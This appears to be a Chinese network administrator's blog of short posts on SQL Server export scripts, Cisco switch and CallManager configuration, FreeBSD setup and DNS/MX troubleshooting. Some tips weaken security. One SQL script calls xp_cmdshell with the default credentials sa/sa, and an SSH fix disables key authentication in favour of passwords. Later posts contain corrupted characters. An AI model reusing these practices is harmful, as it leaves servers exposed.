  2、在弹出的"SQL Server企业管理器属性"窗口中,点击"高级"选项卡;
  3、在"连接设置"下的"登录超时(秒)"右边的框中输入一个比较大的数字,如 20。
  查询分析器中也可以在同样位置进行设置。

在windows控制面版-->管理工具-->服务-->MSSQLSERVER-->属性-->改为你的新的操作系统密码!

停止WIN2K的中NTP服务

由于创新实验室的服务器中还有一个常见的日志错误,就是w32time日志错误,所以我想禁用这个服务。方法如下:
NTP服务中,如果是暂时停止可以按cmd-->net stop w32time来停止NTP服务,如果是想永久停止,那么需要到开始---设置---控制面板---计算机管理---服务中找到windows time,然后禁用即可.

用储存过程把数据导出到EXCEL表中

导出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息
--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中
-- ======================================================
SELECT
(case when a.colorder=1 then d.name else '' end)表名,
a.colorder 字段序号,
a.name 字段名,
(case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识,
(case when (SELECT count(*)
FROM sysobjects
WHERE (name in
(SELECT name
FROM sysindexes
WHERE (id = a.id) AND (indid in
(SELECT indid
FROM sysindexkeys
WHERE (id = a.id) AND (colid in
(SELECT colid
FROM syscolumns
WHERE (id = a.id) AND (name = a.name))))))) AND
(xtype = 'PK'))>0 then '√' else '' end) 主键,
b.name 类型,
a.length 占用字节数,
COLUMNPROPERTY(a.id,a.name,'PRECISION') as 长度,
isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as 小数位数,
(case when a.isnullable=1 then '√'else '' end) 允许空,
isnull(e.text,'') 默认值,
isnull(g.[value],'') AS 字段说明

FROM syscolumns a left join systypes b
on a.xtype=b.xusertype
inner join sysobjects d
on a.id=d.id and d.xtype='U' and d.name<>'dtproperties'
left join syscomments e
on a.cdefault=e.id
left join sysproperties g
on a.id=g.id AND a.colid = g.smallid
order by a.id,a.colorder
-------------------------------------------------------------------------------------------------






列出SQL SERVER 所有表、字段定义,类型,长度,一个值等信息
并导出到Excel 中
-- ======================================================
-- Export all user tables definition and one sample value
-- jan-13-2003,Dr.Zhang
-- ======================================================
在查询分析器里运行:
SET ANSI_NULLS OFF
GO
SET NOCOUNT ON
GO

SET LANGUAGE 'Simplified Chinese'
go
DECLARE @tbl nvarchar(200),@fld nvarchar(200),@sql nvarchar(4000),@maxlen int,@sample nvarchar(40)

SELECT d.name TableName,a.name FieldName,b.name TypeName,a.length Length,a.isnullable IS_NULL INTO #t
FROM syscolumns a, systypes b,sysobjects d
WHERE a.xtype=b.xusertype and a.id=d.id and d.xtype='U'

DECLARE read_cursor CURSOR
FOR SELECT TableName,FieldName FROM #t

SELECT TOP 1 '_TableName ' TableName,
'FieldName ' FieldName,'TypeName ' TypeName,
'Length' Length,'IS_NULL' IS_NULL,
'MaxLenUsed' AS MaxLenUsed,'Sample Value ' Sample,
'Comment ' Comment INTO #tc FROM #t

OPEN read_cursor

FETCH NEXT FROM read_cursor INTO @tbl,@fld
WHILE (@@fetch_status <> -1) --- failes
BEGIN
IF (@@fetch_status <> -2) -- Missing
BEGIN
SET @sql=N'SET @maxlen=(SELECT max(len(cast('+@fld+' as nvarchar))) FROM '+@tbl+')'
--PRINT @sql
EXEC SP_EXECUTESQL @sql,N'@maxlen int OUTPUT',@maxlen OUTPUT
--print @maxlen
SET @sql=N'SET @sample=(SELECT TOP 1 cast('+@fld+' as nvarchar) FROM '+@tbl+' WHERE len(cast('+@fld+' as nvarchar))='+convert(nvarchar(5),@maxlen)+')'
EXEC SP_EXECUTESQL @sql,N'@sample varchar(30) OUTPUT',@sample OUTPUT
--for quickly
--SET @sql=N'SET @sample=convert(varchar(20),(SELECT TOP 1 '+@fld+' FROM '+
--@tbl+' order by 1 desc ))'
PRINT @sql
print @sample
print @tbl
EXEC SP_EXECUTESQL @sql,N'@sample nvarchar(30) OUTPUT',@sample OUTPUT
INSERT INTO #tc SELECT *,ltrim(ISNULL(@maxlen,0)) as MaxLenUsed,
convert(nchar(20),ltrim(ISNULL(@sample,' '))) as Sample,' ' Comment FROM #t where TableName=@tbl and FieldName=@fld
END
FETCH NEXT FROM read_cursor INTO @tbl,@fld
END

CLOSE read_cursor
DEALLOCATE read_cursor
GO

SET ANSI_NULLS ON
GO
SET NOCOUNT OFF
GO
select count(*) from #t
DROP TABLE #t
GO

select count(*)-1 from #tc

select * into ##tx from #tc order by tablename
DROP TABLE #tc

--select * from ##tx

declare @db nvarchar(60),@sql nvarchar(3000)
set @db=db_name()
--请修改用户名和口令 导出到Excel 中
set @sql='exec master.dbo.xp_cmdshell ''bcp ..dbo.##tx out c:\'+@db+'_exp.xls -w -C936 -Usa -Psa '''
print @sql
exec(@sql)
GO
DROP TABLE ##tx
GO

交换机做DHCP不能正常获得IP了?

实验部门同事打电话过来说,以前能正常获得IP,现在不知道为什么,不能DHCP获得IP地址了.我问了一下,确信不是接入层交换机问题后,就上了4506主交换上看了一下,
#show ip dhcp conflict
得到了一大串冲突的IP地址,基本上都是那个实验室,
#clear ip dhcp conflict
一切正常,再打电话过去一问,晕,原来这几天他们天天在手工设IP,把地址搞的冲突了.真是晕啊.有时候没事情的日子,也会给你找个小问题.不过,总算好,一是问题解决,二是又学了点CISCO的命令,也算给忘却的记忆一点提醒的,

freeBSD 5.3 下ssh不能正常登录

代码:
以下是代码片段:PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys
代码:
以下是代码片段:PasswordAuthentication no PermitEmptyPasswords no 5.3用的是对称密钥的认证方式且禁用了普通密码认证方式。改成以下方式即可.
代码:
以下是代码片段:PubkeyAuthentication no #AuthorizedKeysFile .ssh/authorized_keys
代码:
以下是代码片段:PasswordAuthentication yes PermitEmptyPasswords no

freeBSD 5.3 下ssh不能正常登录

代码:
以下是代码片段:PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys
代码:
以下是代码片段:PasswordAuthentication no PermitEmptyPasswords no 5.3用的是对称密钥的认证方式且禁用了普通密码认证方式。改成以下方式即可.
代码:
以下是代码片段:PubkeyAuthentication no #AuthorizedKeysFile .ssh/authorized_keys
代码:
以下是代码片段:PasswordAuthentication yes PermitEmptyPasswords no

保留邮件前提下为邮箱改名

单位的邮箱是放在PIX防火墙里面的,过内外网都在进行一次静态的NAT,
192.168.22.19(内)----192.168.20.19(本身真正IP)------61.153.52.19(外网),现在有的部门邮箱想改名,可我们的EMAIL没有改名这个功能,只好新建一个邮箱,然后再把旧邮箱删除.可在把旧邮箱的信转到新邮箱上就有点问题了,方案一是用OE或者FOXMAIL收下,然后再转发,实际做下来,不可行,因为一次转发多个邮件,实际是把这么多邮件做了附件转发,二是在新邮箱上设POP,这点是可以做到的,可设在POP服务器里设置了我们单位的邮件域名(192.168.22.19),总报:联接超时。以为是DNS的问题,后来才发现是NAT产生了问题,要在POP在设成localhost或者192.168.20.19,具体原因其实就是我上面说的了。呵呵,小记,以给自己做个纪念,说明:什么事情只要好好想,一定会有答案。这件小事,有两个人的成果,用POP是我们头的想法,设成LOCALHOST就是鄙人的想法了,哈哈,开心一把。

3550限速(IP和端口)

拓扑:pc1-------default vlan 1--3550-24-emi--f0/24-------pc2配置:pc1:192.168.1.7 255.255.255.0 192.168.1.222vlan 1:192.168.1.222 255.255.255.0 f0/24:192.168.2.1 255.255.255.0pc2:192.168.2.20 255.255.255.0 192.168.2.1
class-map match-all 64kmatch access-group 110!!policy-map yikaiclass 64kpolice 512000 32000 exceed-action drop!!spanning-tree extend system-id
interface FastEthernet0/24no switchportip address 192.168.2.1 255.255.255.0service-policy input yikai
interface Vlan1ip address 192.168.1.222 255.255.255.0
access-list 110 permit ip host 192.168.2.20 anyaccess-list 110 permit ip any any
Switch#sh mls qos interface f 0/1 sta
端口上限速:
mls qos aggregate-policer pol_1mbps 1000000 16000 exceed-action dropmls qos!class-map match-all cl_udp111match access-group 123class-map match-all cl_tcp20match access-group 145!policy-map po_testclass cl_udp111police aggregate pol_1mbpsclass cl_tcp20police aggregate pol_1mbps
interface FastEthernet0/1switchport access vlan 2no ip addressservice-policy input po_test!interface FastEthernet0/2switchport access vlan 2no ip addressservice-policy input po_test
interface Vlan1ip address 192.168.50.150 255.255.255.0!access-list 123 permit udp any any eq sunrpcaccess-list 145 permit tcp any eq ftp-data any!

IP PHONE及路由器上的CallManage

CODE
【实例分析】IP PHONE及路由器上的CallManager
作者:alien 网址:NBO对IP PHONE的控制管理一般需要Cisco CallManager软件的参预,但对于小规模应用的IP PHONE环境,也可以在路由器IOS上实现部分CallManager的基本功能,这个功能称做CME(CallManager Express),老版本叫做ITS(IOS Telephony Service)。现在以一个实际的LAB例子为参考对CME的功能做一简要描述。试验环境描述:本来CME的典型应用环境是局域网,首先在路由器flash中装载特定IP PHONE的Phone Firmware文件,并将CME路由器设置为DHCP SERVER和TFTP SERVER,IP PHONE启动后自己在网络上寻找DHCP SERVER,IP PHONE通过DHCP配置成功后(IP地址、网关及TFTP SERVER地址)从路由器的flash中下载各自的Phone Firmware文件。当然我们也可以把CME应用到广域网环境中,只要把每个IP PHONE的网络配置做成固定配置,手动设置TFTP SERVER的地址为CME路由器即可。具体的网络拓扑图见文末。图中的2651XM做为语音网关及CME路由器,上接VIC-2FXS及VIC-2FXO,其中一个FXO口接办公室的PBX,因PBX上已无多余的直拨线路,故接了一个分机号码(分机号为17),一个FXS口接普通电话(这个普通电话的号码也设为17)。路由器的以太网口接了一台2948G-L3交换机,因2948G-L3对QoS及Voice VLAN的支持较差,同时为简便起见,在交换机上应做的QoS及Voice VLAN的设置均未做。网络配置:1、基本配置根据所选定的CME/ITS版本下载相应的软件包,软件包中所包含的Fireware文件名与IP PHONE的对应表如下(CME版本 3.03):IP PHONE类型 Firmware文件名 -----------------------------------------------------------------------------------------------------Cisco IP Phone 7902G CP79020101SCCP030530B.sbin Cisco IP Phone 7905G CP79050101SCCP030530B.sbin Cisco IP Phone 7910 P00403020214.bin Cisco IP Phone 7912G CP79120101SCCP030530B.sbin Cisco IP Phone 7914 Expansion Module S00103020002.bin Cisco Wireless IP Phone 7920 cmterm_7920.3.3-01-02-021.bin Cisco IP Conference Station 7935 P00503010100.bin Cisco IP Phone 7940G and Cisco IP Phone 7960G P00303020214.bin Cisco ATA-186 and Cisco ATA-188 ATA:ata18x-v2-16-ms-030327b.zup -----------------------------------------------------------------------------------------------------telephony-serviceload 7905 CP79050101SCCP030530B.sbin!--7905的load file,注意文件名是大小敏感的load 7960-7940 P00303020214!--7940/7960的load file,注意不要加.BIN后缀,在跟?帮助后会有如下提示信息firmware filename for Telecaster 7960 & 7940 [without .bin]max-ephones 20!--可以允许注册的最多电话数max-dn 30!--可以允许注册的最多线路数ip source-address 172.16.0.1 port 2000!--在voice子网中的CME路由器地址,端口号为默认值2000配置完成后在telephony-service模式下键入reset all对所有的IP PHONE连接进行复位。配置TFTP SERVER以方便IP PHONE下载firmware文件:tftp-server flash:CP79050101SCCP030530B.sbintftp-server flash:P00303020214.bin基本配置完成后再对IP PHONE进行配置,每个IP PHONE的IP地址配成和2651XM的以太网口在同一网段,网关地址设为2651XM的以太网口,TFTP SERVER的地址也设为2651XM的以太网口地址,在这个例子中为172.16.0.1/24,注意IP PHONE默认是把DHCP打开的,须先将其关闭后才可进行静态网络参数设置。7905和CME路由器通讯成功并注册后路由器上会有如下提示信息:*Mar 1 01:21:23.989: %IPPHONE-6-REGISTER: ephone-2:SEP000BBEBB8C06 IP:172.16.0.11 Socket:2 DeviceType:Phone has registered.在CME路由器上看ip phone的状态如下:CME_RT#sh ephone 7905ephone-2 Mac:000B.BEBB.8C06 TCP socket:[2] activeLine:0 REGISTEREDmediaActive:0 offhook:0 ringing:0 reset:0 reset_sent:0 paging 0 debug:0IP:172.16.0.11 14969 7905 keepalive 14 max_line 2 dual-linebutton 1: dn 2 number 102 CH1 IDLE speed dial 1:+99xxxxx MyDial3注:此时ip phone上的ephone及ephone-dn已配置完成,故show ephone中会有相应显示,ephone及ephone-dn的配置在后面讲。同时在ip phone上可以观察到已经注册好的CallManager,在7905上可选择如下菜单查看:Menu→Settings→Network Configuration→17 Call Manager 1(172.16.0.1 Active)2、在CME路由器上配置IP PHONEephone-dn 1number 101!--配置ephone-dn,每个ephone-dn代表一条线路,定义E.164线路号码为101call-forward busy 17!--配置线路遇忙转移,转移到线路17ephone-dn 2number 102!--E.164线路号码102ephone 1 !--配置ephone,每个ephone对应一个ip phone keepalive 10!--设置keepaliv的时间为10秒mac-address 0004.27D4.074E!--设置ip phone的MAC地址speed-dial 1 +99111 label "MyDial1"speed-dial 2 +99222 label "MyDial2"!--设置两个speed dial号码type 7940!--指定ip phone的类型button 1:1!--将line按钮与ephone-dn对应起来,其中第一个“1”是指ip phone上的line button,“:”是分隔符,第二个“1”是ephone-dn的号码。此句意为:将7940 ip phone上的line 1按钮与ephone-dn 1中的101号码联系起来。ephone 2 keepalive 10mac-address 000B.BEBB.8C06speed-dial 1 +99333 label "MyDial3"type 7905button 1:2!--7905 ip phone的配置,与7940的类似3、在CME路由器上配置PSTN连接这个配置和传统的VoIP配置是一样的voice-port 1/0/0timeouts interdigit 2description FXS to EXT.17!--此口连接普通电话,timeouts interdigit 2的意义参见IOS文档voice-port 1/1/1cptone CNdescription FXO to EXT.17!--此口接PBX,所接分机号为17定义dial peer:dial-peer voice 1 potsdestination-pattern 9Tport 1/1/1!--定义pots dial peer,出局号码为9,“T”的含义参见IOS文档Voice部分“Configuring Dial Plans, Dial Peers, and Digit Manipulation”中Fixed- and Variable-Length Dial Plans部分的内容,与此dial peer对应的voice port为FXO口1/1/1dial-peer voice 3 potsdescription To FXS EXT.17destination-pattern 17port 1/0/0!--定义pots dial peer,与此dial peer对应的voice port为FXS口1/0/0,定义号码为17dial-peer voice 5 voipdestination-pattern 1..dtmf-relay h245-alphanumeric!--定义voip dial peer,destination-pattern为1..,同时配置DTMF Relay。4、CME路由器上telephony-service的其它featuretelephony-servicetimeouts interdigit 2!--定义interdigit timeouts为2秒,默认时间为10秒,等待时间过长system message CME 3.0 for Test!--在7940/7960显示屏底端显示自定义字串create cnf-files!--为ip phone创建XML配置文件dn-webedit!--允许通过web方式编辑dn信息transfer-pattern 1.!--配置呼叫转换(Call Transfer),一般ip phone间可进行正常的call tranfer,如须进行ip phone到普通电话上的call transfer,则需进行此配置directory entry 1 916 name MyColleague!-- 配置目录服务,定义目录条目1的号码为916,描述为“MyColleague”

按总分排名的SQL语句

有兄弟问我SQL语法,N久没搞这东西,翻了一下以前的资料,呵呵,还真的找到一些灵感,想想以前编程的日子真是一种快乐,现在是什么?也许是痛并快乐者吧.我爱生活:
第一种方法:
select a.name,a.total,(select count(*) from tablename b where b.name=a.nameand b.total>a.total) as mcfrom tablename aorder by a.total
第二种方法:
SELECT ID,IDENTITY(int, 1,1) as 名次into #tmpfrom 表 order by 总分update 表 set 名次=b.名次from 表 a,#tmp bwhere a.id=b.idDROP TABLE #tmp
第三种方法:
with aqr do begin //建立临时表 SQL.Clear; SQL.Add('create table tmp (id smallint,总分 smallint,名次 counter);'); ExecSQL; //排名 SQL.Clear; SQL.Add('insert into tmp (id,总分) SELECT ID,总分 from 成绩表 order by 总分 desc;'); ExecSQL; //更改表结构 SQL.Clear; SQL.Add('ALTER TABLE tmp ALTER COLUMN 名次 integer;'); ExecSQL; //解决重复排名 SQL.Clear; SQL.Add('insert into tmp (id,总分,名次) select 0 as id,总分,mc as 名次 from (select 总分,min(名次) as mmc from tmp group by 总分);'); ExecSQL; //更新 SQL.Clear; SQL.Add('update 成绩表,tmp set 成绩表.名次=tmp.名次 where 成绩表.总分=tmp.总分 and tmp.id=0;'); ExecSQL; //删除临时表 SQL.Clear; SQL.Add('DROP TABLE tmp;'); ExecSQL; end;

FreeBSD下如何安装nvidia显卡驱程

1. 从www.nvidia.com下载最新的驱程,现在是:NVIDIA-FreeBSD-x86-1.0-4365.tar.gz2. 解压驱程到临时目录(如/tmp):#tar xzvf NVIDIA-FreeBSD-x86-1.0-4365.tar.gz /tmp3. #cd NVIDIA-FreeBSD-x86-1.0-4365#make setup 4. 修改 "/etc/X11/XF86Config"文件的"Section Device"部分Section "Device"Identifier "Card"Driver "nvidia" # Rename "nv" to "nvidia" #ChipSet "RIVA TNT2" # Comment outCard "nv RIVA TNT2"#Option "NvAgp" "1" # Use NVIDIA's AGP GART Driver#Option "NvAgp" "0" # Disable AGPOption "NvAgp" "2" # Use the OS AGP GART driver (agp.ko)#Option "NvAgp" "3" # Attempt "2", fall back to "1"5. 注意 Section "Screen"和 "Section Device"中"Identifier" 的设置 Section "Screen"Identifier "Screen0"Device "Card" # <------------ThisMonitor "Monitor0"DefaultDepth 24SubSection "Display"Depth 24Modes "1280x1024"6. 在/etc/defaults/loader.conf中加入:# -- load FreeBSD AGP GART driver -- #agp_load="YES"7. shutdown -r now

FreeBSD+win2k机器安装完成了,现在分步骤写出过程

一是分区与安装
机器安装在一个硬盘上,装成两个操作系统(win2000server+ FreeBSD),FreeBSD版本因为是试验做成工作站,所以没有选择4.10 Release了.而是选择了又先进又比较稳定的5.3release了.分三个区,第一个主分区10G装MS win2000 Server,第二个主分区30G装FB,第三个区是数据库(未定)具体安装多系统过程如下:一、对硬盘进行了分区并安装Widnows *注意:以下步骤只是对新的硬盘安装用户进行的操作,如果你已经安装有windows2000 或者 Windows Xp,你可以跨过下面的Windows安装步骤,只是用装备给FreeBSD的磁盘分区进行FreeBSD的安装(可以用windows的硬盘管理进行创建和删除分区).
创建第一个windows主分区(C:)对第一个主分区上进行格式化与安装[创建第二个FreeBSD主分区(D:)]从windows 2K的磁盘管理中再删除第二个分区(D:).
二、FreeBSD的安装
Ftp.FreeBSD.org下载FreeBSD5.3Release的ISO记录成盘,用这张光盘安装,可以选择Stand或者Experts方式安装,只是在Fdisk项中,把First Partition(c:)设成Bootable,然后安装时选择用的分区是第二个分区,把格式165(FreeBSD)。选择Q)uit 并且在进行bootmanger时选择N)one 选择安装的格式时进行mini+man+package(cvsup 16h)安装
三、对Windows 启动菜单改动启动 windows 2K,然后用FreeBSD安装盘,copy其中的/boot/boot1 (这是freeBSD的主启动记录文件),标准的512字节的主启动文件在Freebsd安装分区上也可以找到/boot/boot1中然后把这个MBR文件改名为FreeBSDboot然后可以改动c:\boot.ini(可以通过我的电脑---管理---启动项中)然后加入C:\FreeBSDboot="FreeBSD" 然后重启,就可以进行FreeBSD的启动和相应安装了。

DNS导致不能正常上网的问题





单位的机器今天上网情况很特殊,大的网站如新浪�?63之类,一会儿能打开,一会又打不开,要刷新好几次才行。同事打电话给我,我自己试了一下,的确如此,看情况是DNS问题。首先试了一下自己单位的DNS(是我自己搭的基于BSD的)。一切正常。心里开心啊,自己的至少没问题。然后就是去我们转发的DNS了,我们的DNS是湖州电信的。湖州电信有两个DNS服务器:202.101.172.36  202.101.172.49 ,用nslookup查看36这台不行,不能解析地址,然后找省机房,�?9才是主的DNS。晕死。马上把转发器上的顺序换了一下。不过,36那台机是不正常。无论我在公网还是在内网上都测试过,不行,奇怪的就是电信为什么就说没问题。难道我不对?呵呵,不管了,正常就好�?/P>

DNS MX错误记录导致不能正常上网解决

这是有个老师反映的问题:> 去年朱亚利用电子邮件联系在瑞士的教师,据我得到消息,对方说没有收到。我最近发往瑞士> 和英国的电子邮件都每有成功。 发美国暂没有问题。> 下面的信息说可能MX的记录中该用domain name的地方用了IP地址。你看能否找到问题。> 解决方案:(摘自网上的)经常遇到这种情况,使用dig mx domain.com的时候,经常找不到域名的记录,有时侯又正常 出现这种情况会是什么问题引起的呢?是我本地ISP提供的DNS服务器的问题,还是在domain.com域名解析服务器的问题呢?
还有,我使用我公司linux+qmail的邮件服务器发邮件到对方的linux+qmail邮件服务器的时候,我观察我本地的log日志,出现如下的提示,对方没有收到邮件: Sep 9 15:09:28 mail qmail: 1094713768.604001 delivery 132: deferral: Connected_to_202.103.xxx.xxx_but_sender_was_rejected./Remote_host_said:_450_4.4.1_Sender_domain_not_found_in_DNS/
非常不明白为什么会出现这样的情况,是DNS的问题吗? 但是我使用21cn.com的邮件而不使用我公司的linx+qmai邮件系统发邮件到对方的服务器就很正常 dns 的設定有太多錯誤... nukabe.cn 設的沒有錯 但他的代管業者一推問題 你用 ISP 的解不出來原因在於 ISP Run BIND 9.X, 其在像 21cn.com .. 都跑 BIND 8.X 因為 BIND 9 對 DNS 的設定 (授權關係,NS RRs) 檢查較嚴格
查看 nukabe 在 .cn 下的 NS 記錄 代码:
[root@ns11 resolv]# dig @dns3.cnnic.net.cn ns nukabe.cn ;nukabe.cn. IN NS ;; AUTHORITY SECTION: nukabe.cn. 86400 IN NS ns.test.com. nukabe.cn. 86400 IN NS ns.test.com.
;; ADDITIONAL SECTION: ns.test.com. 86400 IN A 202.106.124.195

發現授權給 上述兩部 DNS Server, 但 Domain 不同於 nukabe.cn BIND 8 在這裏會看到 202.106.124.195 這個 IP , BIND 9 跟本不甩這 個 IP (這是很大的差別哦...BIND 8 相信 Additional, BIND 完全不用 Addtional Section,因為安全上及解析的正確性的考量) BIND 8,二選一找一部,若選到 ns.test.com. 就直接往 202.106.124.195 查 MX 記錄了,若選到 ns.xinnetdns.com. 則因為沒有 Addtional 資料可 資,所以往 .com 的查 ........ 以 dig @a.gtld-servers.net xinnetdns.com. ns 可以在 addtional 看到 代码:
ns.xinnetdns.com. 123026 IN A 210.51.170.66
所以 bind 8 就會對 202.106.124.195/210.51.170.66 查 cukabe.cn 的 MX 記錄 所以都可以查得到 MX 記錄

所以,我們以 BIND 9 來看,他不會用 addtional section 所帶出來的 IP,他以 AUTHORITY Answer (簡稱 AA) 為依據
所以我們再查 .cn 下的 test.com 的 NS 記錄 代码:
[root@ns11 resolv]# dig @dns3.cnnic.net.cn test.com. ns ;ns.test.com. IN NS
;; AUTHORITY SECTION: test.com. 86400 IN NS ns2.test.com. test.com. 86400 IN NS ns2.testdns.com. test.com. 86400 IN NS dns2.test.com. test.com. 86400 IN NS ns.test.com. test.com. 86400 IN NS ns.testdns.com. test.com. 86400 IN NS dns.test.com.
;; ADDITIONAL SECTION: ns.test.com. 86400 IN A 202.106.124.195 ns2.test.com. 86400 IN A 210.51.170.67

查出來有 6 筆,這六筆就是 test.com 的權威資料所在
所以我們選第一部來看其自身domain (test.com) 的 NS 記錄 代码:
[root@ns11 resolv]# dig @ns2.test.com. test.com. ns ;test.com. IN NS
;; ANSWER SECTION: test.com. 1800 IN NS ns2.test.com. test.com. 1800 IN NS ns.test.com. test.com. 1800 IN NS dns.test.com. test.com. 1800 IN NS dns2.test.com.
發現了什麼 !? .cn 說 test.com 是由上述六部管理的 ns2.test.com 又說 test.com 是由這四部管理的 請問, DNS 要相信誰呢 !? (其他我就不列了)
所以根据这篇文章,我把自己的DNS服务中MX的记录做了一定的改动。

双ISP解决方案

有主交换45一�?有汇聚和接入�?550一�?�?750一�?45联中国电�?CHINANET),3750联中国网�?CNC),现在的要求是让VLAN 2里的机器访问外网是用CHINANet的出�?而VLAN3的用户用的CNC出口.解决方案不多说了,就用文字表示一�?


1�?5的地址设为IP_45 ,3750的地址设为IP_3750, 45出电信的下一跳地址为NETX_IP_45 ,3750下一跳地址为NETX_IP_37
2�?5上创建vlan 2 、vlan 3,但是有一个区别,那就是vlan 2的interface也是放在45上的,而vlan 3因为有VTP那么�?750�?550也有,把VLAN 3的interface放在3750上�?BR>   45#config t
      inte vlan 2
       ip address vlan2_IP mask
       exit
    3750# config t
    inte vlan 3
    ip address vlan3_IP mask
    exit


3、在45上创建route
   ip route 0.0.0.0 0.0.0.0 NETX_IP_45
  ip route vlan 3  IP_3750
    注以是的IP_*指的是IP地址,ROUTE表中的也是意指,不是标准格式�?BR>4、在3750上创建route
   ip route 0.0.0.0 0.0.0.0 NEXT_IP_37
    ip route Special_IP IP_45
    *注:special_IP是指一些特定要走电信的目的地址
4、在3550上把不同的端口加到不同的VLAN中,指定IP,网�?VLAN2用的就是VLAN2的INTERFACE IPADRESS,而VLAN3用的就是VLAN3的INTERFACEIPADRESS),就可以了。呵�?BR>说的不是很详细�?/P>

平安公司熏蒸系统TODOLIST

一、是收费环节与出单环节可以自由转�?/P>

二、是增加可以撤消改的环节


其实每次做小软件都让我很烦,有可能主要是我的系统分析不到位,主要还是在于现在应用前,需求者要求都不是太明确。所以才会产生这样的事情,现在在学ROSE和POWERDESIGHER希望能早点成事�?/P>

植树�?/P>

昨天是植树节,一大早,单位的同事就赶去了南太湖大桥,去了之后才发现比较晕。一大群人都来植树,包括什么三县两区的青年志愿者(在我看来就是我们做秀的青年),昨天风很大,有些冷。前面是穿志愿者衣服,然后就是排队等领导,领导来了之后就是叫小学生表演(这是我最BS的,青年是新一代,这种做秀的表演不应该也不能叫小学生来参加吧),从8�?5一直搞�?0�?0才让植树,名是植树,我看看跟我记忆中的植树差的太多了。我小学做的树,现在回家还能看到,感慨啊�?/P>